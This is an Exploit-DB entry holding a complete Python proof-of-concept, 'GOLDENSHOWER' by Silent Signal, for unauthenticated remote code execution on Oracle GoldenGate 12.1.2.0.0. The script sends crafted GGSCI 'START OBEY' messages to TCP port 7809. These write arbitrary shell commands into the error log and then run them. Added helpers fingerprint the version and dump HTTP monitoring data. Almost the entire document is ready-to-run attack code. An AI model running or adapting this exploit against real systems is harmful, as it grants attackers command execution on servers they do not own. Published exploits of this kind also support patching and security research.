Exploit-DB #41978
Description: Oracle GoldenGate 12.1.2.0.0 - Remote Code Execution
Type: remote
Platform: multiple
Date: 2017-05-09
Author: Silent Signal

Exploit:
#!/usr/bin/env python
# Sources:
# https://silentsignal.hu/docs/S2_Oracle_GoldenGate_GOLDENSHOWER.py
# https://blog.silentsignal.eu/2017/05/08/fools-of-golden-gate/
#
# GOLDENSHOWER - Oracle GoldenGate unauthenticated RCE by Silent Signal
#
# Tested with:
#     Version 12.1.2.0.0 17185003 OGGCORE_12.1.2.0.0_PLATFORMS_[PII_REDACTED] Linux, x64, 64bit (optimized) Oracle 11g
#     Version 12.1.2.0.0 17185003 OGGCORE_12.1.2.0.0T1_PLATFORMS_[PII_REDACTED] Windows x64 (optimized) Oracle 12c
#
# Nmap service fingerprint example:
#     ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)========
#     SF-Port7809-TCP:V=7.12%I=7%D=2/20%Time=DEADBEEF%P=x86_64-unknown-linux-gnu
#     SF:%r(RPCCheck,2D,"\0\+\x20\x20ERROR\tMGR\x20did\x20not\x20recognize\x20th
#     SF:e\x20command\.\0")%r(DNSVersionBindReq,28,"\0&\x20\x20ERROR\tMGR\x20Did
#     SF:\x20Not\x20Recognize\x20Command\0")%r(DNSStatusRequest,28,"\0&\x20\x20E
#     SF:RROR\tMGR\x20Did\x20Not\x20Recognize\x20Command\0")%r(afp,28,"\0&\x20\x
#     SF:20ERROR\tMGR\x20Did\x20Not\x20Recognize\x20Command\0")%r(kumo-server,2D
#     SF:,"\0\+\x20\x20ERROR\tMGR\x20did\x20not\x20recognize\x20the\x20command\.
#     SF:\0");

import socket
import struct
import argparse

HOST = None
PORT = None
PLATFORM = None


def send_write(cmd):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))

    term_ch = "#"
    if PLATFORM == "win":
        term_ch = "&"

    cmd_ggsci = "GGSCI START OBEY x\nSHELL,%s %s " % (cmd, term_ch)
    cmd_ggsci = cmd_ggsci.replace(" ", "\x09")

    length = struct.pack(">H", len(cmd_ggsci))
    s.send(length + cmd_ggsci)
    r = s.recv(1024)
    print "[+] '%s' WRITTEN \nReceived: %s\n" % (cmd, repr(r))

    s.close()


def send_exec():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    cmd = "GGSCI START OBEY ggserr.log".replace(" ", "\x09")
    length = struct.pack(">H", len(cmd))
    s.send(length + cmd)
    r = s.recv(1024)
    print "[+] EXECUTED - Received: %s\n" % (repr(r))
    s.close()


def monitor():
    if PLATFORM == "win":
        print "[!] Windows platform detected, this may not work!"

    import requests
    paths = ["messages", "registry", "statuschanges", "mpoints"]
    for p in paths:
        r = requests.get("http://%s:%d/%s" % (HOST, PORT, p))
        print "\n--- MONITOR - %s ---" % (p)
        print r.text


def version():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    #cmd = "GGSCI VERSION".replace(" ","\x09")
    cmd = "GGSCI\tVERSION"
    length = struct.pack(">H", len(cmd))
    s.send(length + cmd)
    r = s.recv(1024)
    ver = r[5:].replace("\t", " ")
    print "[+] VERSION: %s\n" % (ver)
    s.close()
    return ver


def debug(cmd, l=None):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    length = None
    if l is None:
        length = struct.pack(">H", len(cmd))
    else:
        length = struct.pack(">H", l)
    s.send(length + cmd)
    print "[+] Sent: %s" % (repr(length + cmd))
    r = s.recv(1024)
    print "[+] Received: %s\n" % (repr(r))
    s.close()


parser = argparse.ArgumentParser(
    description='GOLDENSHOWER - Oracle GoldenGate unauthenticated RCE by Silent Signal')
parser.add_argument("--host", help="Target host")
parser.add_argument("--port", help="Target port", type=int, default=7809)
parser.add_argument("--cmd", help="Command(s) to execute", nargs='*')
parser.add_argument(
    "--monitor", help="Dump information (incl. version) via HTTP monitoring functions", action="store_true")
parser.add_argument("--debugcmd", help="Send raw content", required=False)
parser.add_argument("--debuglen", help="Indicated size of raw content",
                    type=int, default=None, required=False)

args = parser.parse_args()

HOST = args.host
PORT = args.port

ver = version()

if "Windows" in ver:
    PLATFORM = "win"
    print "[+] Platform: Windows"
else:
    PLATFORM = "nix"
    print "[+] Platform: *nix"

if args.cmd:
    for c in args.cmd:
        send_write(c)
    send_exec()

if args.monitor:
    monitor()

if args.debugcmd:
    debug(args.debugcmd, args.debuglen)

# Signature: aHR0cHM6Ly93d3cueW91dHViZS5jb20vd2F0Y2g/dj0wNHZINFdfOVJmZw==